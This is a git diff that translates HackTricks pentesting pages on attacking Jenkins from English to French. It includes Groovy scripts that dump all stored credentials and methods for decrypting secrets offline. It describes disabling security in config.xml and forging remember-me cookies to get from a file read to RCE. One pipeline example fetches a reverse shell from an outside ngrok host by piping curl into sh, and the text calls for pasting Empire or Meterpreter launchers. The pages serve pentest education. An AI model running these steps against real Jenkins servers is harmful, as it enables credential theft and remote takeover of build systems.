 credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
 ```
+#### Décrypter les secrets Jenkins hors ligne
 
-#### Decrypt Jenkins secrets offline
-
-If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
-
+Si vous avez extrait les **mots de passe nécessaires pour déchiffrer les secrets**, utilisez [**ce script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **pour déchiffrer ces secrets**.
 ```bash
 python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
 06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
 b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
 NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
 ```
-
-#### Decrypt Jenkins secrets from Groovy
-
+#### Décrypter les secrets Jenkins depuis Groovy
 ```bash
 println(hudson.util.Secret.decrypt("{...}"))
 ```
+### Créer un nouvel utilisateur administrateur
 
-### Create new admin user
+1. Accédez au fichier Jenkins config.xml dans `/var/lib/jenkins/config.xml` ou `C:\Program Files (x86)\Jenkins\`
+2. Recherchez le mot `<useSecurity>true</useSecurity>` et changez le mot **`true`** en **`false`**.
+1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
+3. **Redémarrez** le serveur **Jenkins** : `service jenkins restart`
+4. Maintenant, allez à nouveau sur le portail Jenkins et **Jenkins ne demandera aucune information d'identification** cette fois. Vous naviguez vers "**Gérer Jenkins**" pour définir à nouveau le **mot de passe administrateur**.
+5. **Activez** à nouveau la **sécurité** en changeant les paramètres en `<useSecurity>true</useSecurity>` et **redémarrez à nouveau Jenkins**.
 
-1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
-2. Search for the word `<useSecurity>true</useSecurity>`and change the word \*\*`true` \*\* to **`false`**.
-   1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
-3. **Restart** the **Jenkins** server: `service jenkins restart`
-4. Now go to the Jenkins portal again and **Jenkins will not ask any credentials** this time. You navigate to "**Manage Jenkins**" to set the **administrator password again**.
-5. **Enable** the **security** again by changing settings to `<useSecurity>true</useSecurity>` and **restart the Jenkins again**.
-
-## References
+## Références
 
 - [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
 - [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
@@ -410,7 +382,3 @@ println(hudson.util.Secret.decrypt("{...}"))
 - [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
index 6e62a8536..693224ccf 100644
--- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
+++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
@@ -1,87 +1,87 @@
-# Basic Jenkins Information
+# Informations de base sur Jenkins
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Access
+## Accès
 
-### Username + Password
+### Nom d'utilisateur + Mot de passe
 
-The most common way to login in Jenkins if with a username or a password
+La manière la plus courante de se connecter à Jenkins est avec un nom d'utilisateur ou un mot de passe.
 
 ### Cookie
 
-If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
+Si un **cookie autorisé est volé**, il peut être utilisé pour accéder à la session de l'utilisateur. Le cookie est généralement appelé `JSESSIONID.*`. (Un utilisateur peut terminer toutes ses sessions, mais il doit d'abord découvrir qu'un cookie a été volé).
 
 ### SSO/Plugins
 
-Jenkins can be configured using plugins to be **accessible via third party SSO**.
+Jenkins peut être configuré à l'aide de plugins pour être **accessible via un SSO tiers**.
 
-### Tokens
+### Jetons
 
-**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
+**Les utilisateurs peuvent générer des jetons** pour donner accès aux applications pour les usurper via CLI ou REST API.
 
-### SSH Keys
+### Clés SSH
 
-This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
+Ce composant fournit un serveur SSH intégré pour Jenkins. C'est une interface alternative pour le [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), et les commandes peuvent être invoquées de cette manière en utilisant n'importe quel client SSH. (D'après les [docs](https://plugins.jenkins.io/sshd/))
 
-## Authorization
+## Autorisation
 
-In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
+Dans `/configureSecurity`, il est possible de **configurer la méthode d'autorisation de Jenkins**. Il existe plusieurs options :
 
-- **Anyone can do anything**: Even anonymous access can administrate the server
-- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
-- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
-- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
+- **Tout le monde peut tout faire** : Même l'accès anonyme peut administrer le serveur.
+- **Mode hérité** : Identique à Jenkins <1.164. Si vous avez le **rôle "admin"**, vous aurez **un contrôle total** sur le système, et **sinon** (y compris les utilisateurs **anonymes**), vous aurez un accès **en lecture**.
+- **Les utilisateurs connectés peuvent tout faire** : Dans ce mode, chaque **utilisateur connecté obtient un contrôle total** de Jenkins. Le seul utilisateur qui n'aura pas un contrôle total est l'**utilisateur anonyme**, qui n'a qu'un accès **en lecture**.
+- **Sécurité basée sur une matrice** : Vous pouvez configurer **qui peut faire quoi** dans un tableau. Chaque **colonne** représente une **permission**. Chaque **ligne** **représente** un **utilisateur ou un groupe/rôle.** Cela inclut un utilisateur spécial '**anonyme**', qui représente **les utilisateurs non authentifiés**, ainsi que '**authentifié**', qui représente **tous les utilisateurs authentifiés**.
 
 ![](<../../images/image (149).png>)
 
-- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
-- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
+- **Stratégie d'autorisation basée sur les projets :** Ce mode est une **extension** à "**la sécurité basée sur une matrice**" qui permet de définir une matrice ACL supplémentaire pour **chaque projet séparément.**
+- **Stratégie basée sur les rôles :** Permet de définir des autorisations en utilisant une **stratégie basée sur les rôles**. Gérez les rôles dans `/role-strategy`.
 
-## **Security Realm**
+## **Royaume de sécurité**
 
-In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
+Dans `/configureSecurity`, il est possible de **configurer le royaume de sécurité.** Par défaut, Jenkins inclut le support de quelques royaumes de sécurité différents :
 
-- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
-- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
-- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
-- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
+- **Déléguer au conteneur de servlets** : Pour **déléguer l'authentification à un conteneur de servlets exécutant le contrôleur Jenkins**, tel que [Jetty](https://www.eclipse.org/jetty/).
+- **Base de données utilisateur propre à Jenkins :** Utilisez **le magasin de données utilisateur intégré de Jenkins** pour l'authentification au lieu de déléguer à un système externe. Cela est activé par défaut.
+- **LDAP** : Déléguer toute l'authentification à un serveur LDAP configuré, y compris les utilisateurs et les groupes.
+- **Base de données utilisateur/groupe Unix** : **Délègue l'authentification à la base de données utilisateur au niveau du système d'exploitation Unix** sur le contrôleur Jenkins. Ce mode permettra également la réutilisation des groupes Unix pour l'autorisation.
 
-Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
+Les plugins peuvent fournir des royaumes de sécurité supplémentaires qui peuvent être utiles pour intégrer Jenkins dans des systèmes d'identité existants, tels que :
 
 - [Active Directory](https://plugins.jenkins.io/active-directory)
-- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
+- [Authentification GitHub](https://plugins.jenkins.io/github-oauth)
 - [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
 
-## Jenkins Nodes, Agents & Executors
+## Nœuds, Agents et Exécuteurs Jenkins
 
-Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
+Définitions des [docs](https://www.jenkins.io/doc/book/managing/nodes/) :
 
-**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
+**Les nœuds** sont les **machines** sur lesquelles les **agents de construction s'exécutent**. Jenkins surveille chaque nœud attaché pour l'espace disque, l'espace temporaire libre, l'échange libre, l'heure/ synchronisation de l'horloge et le temps de réponse. Un nœud est mis hors ligne si l'une de ces valeurs dépasse le seuil configuré.
 
-**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
+**Les agents** **gèrent** l'**exécution des tâches** au nom du contrôleur Jenkins en **utilisant des exécuteurs**. Un agent peut utiliser n'importe quel système d'exploitation qui prend en charge Java. Les outils nécessaires pour les constructions et les tests sont installés sur le nœud où l'agent s'exécute ; ils peuvent **être installés directement ou dans un conteneur** (Docker ou Kubernetes). Chaque **agent est effectivement un processus avec son propre PID** sur la machine hôte.
 
-An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
+Un **exécuteur** est un **emplacement pour l'exécution des tâches** ; en effet, c'est **un thread dans l'agent**. Le **nombre d'exécuteurs** sur un nœud définit le nombre de **tâches concurrentes** qui peuvent être exécutées sur ce nœud à un moment donné. En d'autres termes, cela détermine le **nombre de `stages` de Pipeline concurrentes** qui peuvent s'exécuter sur ce nœud à un moment donné.
 
-## Jenkins Secrets
+## Secrets Jenkins
 
-### Encryption of Secrets and Credentials
+### Chiffrement des secrets et des identifiants
 
-Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
+Définition des [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) : Jenkins utilise **AES pour chiffrer et protéger les secrets**, les identifiants et leurs clés de chiffrement respectives. Ces clés de chiffrement sont stockées dans `$JENKINS_HOME/secrets/` avec la clé maître utilisée pour protéger ces clés. Ce répertoire doit être configuré de sorte que seul l'utilisateur du système d'exploitation sous lequel le contrôleur Jenkins s'exécute ait un accès en lecture et en écriture à ce répertoire (c'est-à-dire, une valeur `chmod` de `0700` ou en utilisant des attributs de fichier appropriés). La **clé maître** (parfois appelée "clé de chiffrement" dans le jargon cryptographique) est **stockée \_non chiffrée\_** sur le système de fichiers du contrôleur Jenkins dans **`$JENKINS_HOME/secrets/master.key`** ce qui ne protège pas contre les attaquants ayant un accès direct à ce fichier. La plupart des utilisateurs et des développeurs utiliseront ces clés de chiffrement indirectement via soit l'API [Secret](https://javadoc.jenkins.io/byShortName/Secret) pour chiffrer des données secrètes génériques ou via l'API des identifiants. Pour les curieux de cryptographie, Jenkins utilise AES en mode de chaînage de blocs (CBC) avec un remplissage PKCS#5 et des IV aléatoires pour chiffrer des instances de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) qui sont stockées dans `$JENKINS_HOME/secrets/` avec un nom de fichier correspondant à leur identifiant `CryptoConfidentialKey`. Les identifiants de clé courants incluent :
 
-- `hudson.util.Secret`: used for generic secrets;
-- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
-- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
+- `hudson.util.Secret` : utilisé pour des secrets génériques ;
+- `com.cloudbees.plugins.credentials.SecretBytes.KEY` : utilisé pour certains types d'identifiants ;
+- `jenkins.model.Jenkins.crumbSalt` : utilisé par le [mécanisme de protection CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) ; et
 
-### Credentials Access
+### Accès aux identifiants
 
-Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
+Les identifiants peuvent être **étendus à des fournisseurs globaux** (`/credentials/`) qui peuvent être accessibles par tout projet configuré, ou peuvent être étendus à **des projets spécifiques** (`/job/<project-name>/configure`) et donc uniquement accessibles depuis le projet spécifique.
 
-According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
+Selon [**les docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) : Les identifiants qui sont dans le champ d'application sont mis à disposition du pipeline sans limitation. Pour **prévenir une exposition accidentelle dans le journal de construction**, les identifiants sont **masqués** de la sortie régulière, donc une invocation de `env` (Linux) ou `set` (Windows), ou des programmes imprimant leur environnement ou leurs paramètres ne **révèleraient pas ces identifiants dans le journal de construction** aux utilisateurs qui n'auraient pas autrement accès aux identifiants.
 
-**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
+**C'est pourquoi, pour exfiltrer les identifiants, un attaquant doit, par exemple, les encoder en base64.**
 
-## References
+## Références
 
 - [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
 - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
@@ -92,7 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
 - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
index 9d2b232e1..89af64bf6 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -2,108 +2,104 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
+Dans cet article de blog, il est possible de trouver un excellent moyen de transformer une vulnérabilité d'inclusion de fichier local dans Jenkins en RCE : [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
 
-This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
+Ceci est un résumé créé par IA de la partie de l'article où la création d'un cookie arbitraire est exploitée pour obtenir RCE en abusant d'une lecture de fichier local jusqu'à ce que j'aie le temps de créer un résumé moi-même :
 
-### Attack Prerequisites
+### Prérequis à l'attaque
 
-- **Feature Requirement:** "Remember me" must be enabled (default setting).
-- **Access Levels:** Attacker needs Overall/Read permissions.
-- **Secret Access:** Ability to read both binary and textual content from key files.
+- **Exigence de fonctionnalité :** "Se souvenir de moi" doit être activé (paramètre par défaut).
+- **Niveaux d'accès :** L'attaquant a besoin de permissions Globales/Lecture.
+- **Accès secret :** Capacité à lire à la fois le contenu binaire et textuel de fichiers clés.
 
-### Detailed Exploitation Process
+### Processus d'exploitation détaillé
 
-#### Step 1: Data Collection
+#### Étape 1 : Collecte de données
 
-**User Information Retrieval**
+**Récupération des informations utilisateur**
 
-- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
-  - **Username**
-  - **User seed**
-  - **Timestamp**
-  - **Password hash**
+- Accéder à la configuration utilisateur et aux secrets depuis `$JENKINS_HOME/users/*.xml` pour chaque utilisateur afin de rassembler :
+- **Nom d'utilisateur**
+- **Graine utilisateur**
+- **Horodatage**
+- **Hash du mot de passe**
 
-**Secret Key Extraction**
+**Extraction de la clé secrète**
 
-- Extract cryptographic keys used for signing the cookie:
-  - **Secret Key:** `$JENKINS_HOME/secret.key`
-  - **Master Key:** `$JENKINS_HOME/secrets/master.key`
-  - **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
+- Extraire les clés cryptographiques utilisées pour signer le cookie :
+- **Clé secrète :** `$JENKINS_HOME/secret.key`
+- **Clé maître :** `$JENKINS_HOME/secrets/master.key`
+- **Fichier de clé MAC :** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
 
-#### Step 2: Cookie Forging
+#### Étape 2 : Forgement de cookie
 
-**Token Preparation**
+**Préparation du jeton**
 
-- **Calculate Token Expiry Time:**
+- **Calculer le temps d'expiration du jeton :**
 
-  ```javascript
-  tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
-  ```
+```javascript
+tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Ajoute une heure au temps actuel
+```
 
-- **Concatenate Data for Token:**
+- **Concaténer les données pour le jeton :**
 
-  ```javascript
-  token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
-  ```
+```javascript
+token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
+```
 
-**MAC Key Decryption**
+**Déchiffrement de la clé MAC**
 
-- **Decrypt MAC Key File:**
+- **Déchiffrer le fichier de clé MAC :**
 
-  ```javascript
-  key = toAes128Key(masterKey)  // Convert master key to AES128 key format
-  decrypted = AES.decrypt(macFile, key)  // Decrypt the .mac file
-  if not decrypted.hasSuffix("::::MAGIC::::")
-      return ERROR;
-  macKey = decrypted.withoutSuffix("::::MAGIC::::")
-  ```
+```javascript
+key = toAes128Key(masterKey)  // Convertir la clé maître en format de clé AES128
+decrypted = AES.decrypt(macFile, key)  // Déchiffrer le fichier .mac
+if not decrypted.hasSuffix("::::MAGIC::::")
+return ERROR;
+macKey = decrypted.withoutSuffix("::::MAGIC::::")
+```
 
-**Signature Computation**
+**Calcul de la signature**
 
-- **Compute HMAC SHA256:**
+- **Calculer HMAC SHA256 :**
 
-  ```javascript
-  mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
-  tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
-  ```
+```javascript
+mac = HmacSHA256(token, macKey) // Calculer HMAC en utilisant le jeton et la clé MAC
+tokenSignature = bytesToHexString(mac) // Convertir la MAC en chaîne hexadécimale
+```
 
-**Cookie Encoding**
+**Encodage du cookie**
 
-- **Generate Final Cookie:**
+- **Générer le cookie final :**
 
-  ```javascript
-  cookie = base64.encode(
-    username + ":" + tokenExpiryTime + ":" + tokenSignature
-  ) // Base64 encode the cookie data
-  ```
+```javascript
+cookie = base64.encode(
+username + ":" + tokenExpiryTime + ":" + tokenSignature
+) // Encoder en base64 les données du cookie
+```
 
-#### Step 3: Code Execution
+#### Étape 3 : Exécution de code
 
-**Session Authentication**
+**Authentification de session**
 
-- **Fetch CSRF and Session Tokens:**
-  - Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
-  - Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
+- **Récupérer les jetons CSRF et de session :**
+- Faire une requête à `/crumbIssuer/api/json` pour obtenir `Jenkins-Crumb`.
+- Capturer `JSESSIONID` de la réponse, qui sera utilisé en conjonction avec le cookie "se souvenir de moi".
 
-**Command Execution Request**
+**Requête d'exécution de commande**
 
-- **Send a POST Request with Groovy Script:**
+- **Envoyer une requête POST avec un script Groovy :**
 
-  ```bash
-  curl -X POST "$JENKINS_URL/scriptText" \
-  --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
-  --header "Jenkins-Crumb: $CRUMB" \
-  --header "Content-Type: application/x-www-form-urlencoded" \
-  --data-urlencode "script=$SCRIPT"
-  ```
+```bash
+curl -X POST "$JENKINS_URL/scriptText" \
+--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
+--header "Jenkins-Crumb: $CRUMB" \
+--header "Content-Type: application/x-www-form-urlencoded" \
+--data-urlencode "script=$SCRIPT"
+```
 
-  - Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
+- Le script Groovy peut être utilisé pour exécuter des commandes au niveau système ou d'autres opérations dans l'environnement Jenkins.
 
-The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
+L'exemple de commande curl fourni démontre comment faire une requête à Jenkins avec les en-têtes et cookies nécessaires pour exécuter du code arbitraire en toute sécurité.
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
index 8699b8159..dbb6103b3 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
@@ -3,10 +3,9 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 > [!WARNING]
-> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
-
-You can **dump all the secrets from the Groovy Script console** in `/script` running this code
+> Notez que ces scripts ne listeront que les secrets à l'intérieur du fichier `credentials.xml`, mais **les fichiers de configuration de build** pourraient également contenir **plus de credentials**.
 
+Vous pouvez **dumper tous les secrets de la console de script Groovy** dans `/script` en exécutant ce code.
 ```java
 // From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
 import jenkins.model.*
@@ -42,52 +41,45 @@ showRow("something else", it.id, '', '', '')
 
 return
 ```
-
-#### or this one:
-
+#### ou celui-ci :
 ```java
 import java.nio.charset.StandardCharsets;
 def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
-      com.cloudbees.plugins.credentials.Credentials.class
+com.cloudbees.plugins.credentials.Credentials.class
 )
 
 for (c in creds) {
-  println(c.id)
-  if (c.properties.description) {
-    println("   description: " + c.description)
-  }
-  if (c.properties.username) {
-    println("   username: " + c.username)
-  }
-  if (c.properties.password) {
-    println("   password: " + c.password)
-  }
-  if (c.properties.passphrase) {
-    println("   passphrase: " + c.passphrase)
-  }
-  if (c.properties.secret) {
-    println("   secret: " + c.secret)
-  }
-  if (c.properties.secretBytes) {
-    println("    secretBytes: ")
-    println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
-    println("")
-  }
-  if (c.properties.privateKeySource) {
-    println("   privateKey: " + c.getPrivateKey())
-  }
-  if (c.properties.apiToken) {
-    println("   apiToken: " + c.apiToken)
-  }
-  if (c.properties.token) {
-    println("   token: " + c.token)
-  }
-  println("")
+println(c.id)
+if (c.properties.description) {
+println("   description: " + c.description)
+}
+if (c.properties.username) {
+println("   username: " + c.username)
+}
+if (c.properties.password) {
+println("   password: " + c.password)
+}
+if (c.properties.passphrase) {
+println("   passphrase: " + c.passphrase)
+}
+if (c.properties.secret) {
+println("   secret: " + c.secret)
+}
+if (c.properties.secretBytes) {
+println("    secretBytes: ")
+println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
+println("")
+}
+if (c.properties.privateKeySource) {
+println("   privateKey: " + c.getPrivateKey())
+}
+if (c.properties.apiToken) {
+println("   apiToken: " + c.apiToken)
+}
+if (c.properties.token) {
+println("   token: " + c.token)
+}
+println("")
 }
 ```
-
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
index 89ca15223..1a7ef2bb4 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
@@ -4,40 +4,34 @@
 
 ## Creating a new Pipeline
 
-In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
+Dans "Nouvel élément" (accessible à `/view/all/newJob`), sélectionnez **Pipeline :**
 
 ![](<../../images/image (235).png>)
 
-In the **Pipeline section** write the **reverse shell**:
+Dans la **section Pipeline**, écrivez le **reverse shell** :
 
 ![](<../../images/image (285).png>)
-
 ```groovy
 pipeline {
-    agent any
+agent any
 
-    stages {
-        stage('Hello') {
-            steps {
-                sh '''
-                    curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
-                '''
-            }
-        }
-    }
+stages {
+stage('Hello') {
+steps {
+sh '''
+curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
+'''
+}
+}
+}
 }
 ```
-
-Finally click on **Save**, and **Build Now** and the pipeline will be executed:
+Enfin, cliquez sur **Save**, puis sur **Build Now** et le pipeline sera exécuté :
 
 ![](<../../images/image (228).png>)
 
-## Modifying a Pipeline
+## Modifier un Pipeline
 
-If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
+Si vous pouvez accéder au fichier de configuration d'un pipeline configuré, vous pouvez simplement **le modifier en ajoutant votre reverse shell** puis l'exécuter ou attendre qu'il soit exécuté.
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
index f16096070..8c35380d3 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -4,37 +4,33 @@
 
 ## Creating a Project
 
-This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
+Cette méthode est très bruyante car vous devez créer un tout nouveau projet (évidemment, cela ne fonctionnera que si l'utilisateur est autorisé à créer un nouveau projet).
 
-1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
-2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
-3. Click **Build now**
-   1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
-   2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
+1. **Créer un nouveau projet** (projet Freestyle) en cliquant sur "Nouvel élément" ou dans `/view/all/newJob`
+2. Dans la section **Build**, définissez **Exécuter shell** et collez un lanceur PowerShell Empire ou un PowerShell Meterpreter (peut être obtenu en utilisant _unicorn_). Démarrez le payload avec _PowerShell.exe_ au lieu d'utiliser _powershell._
+3. Cliquez sur **Build now**
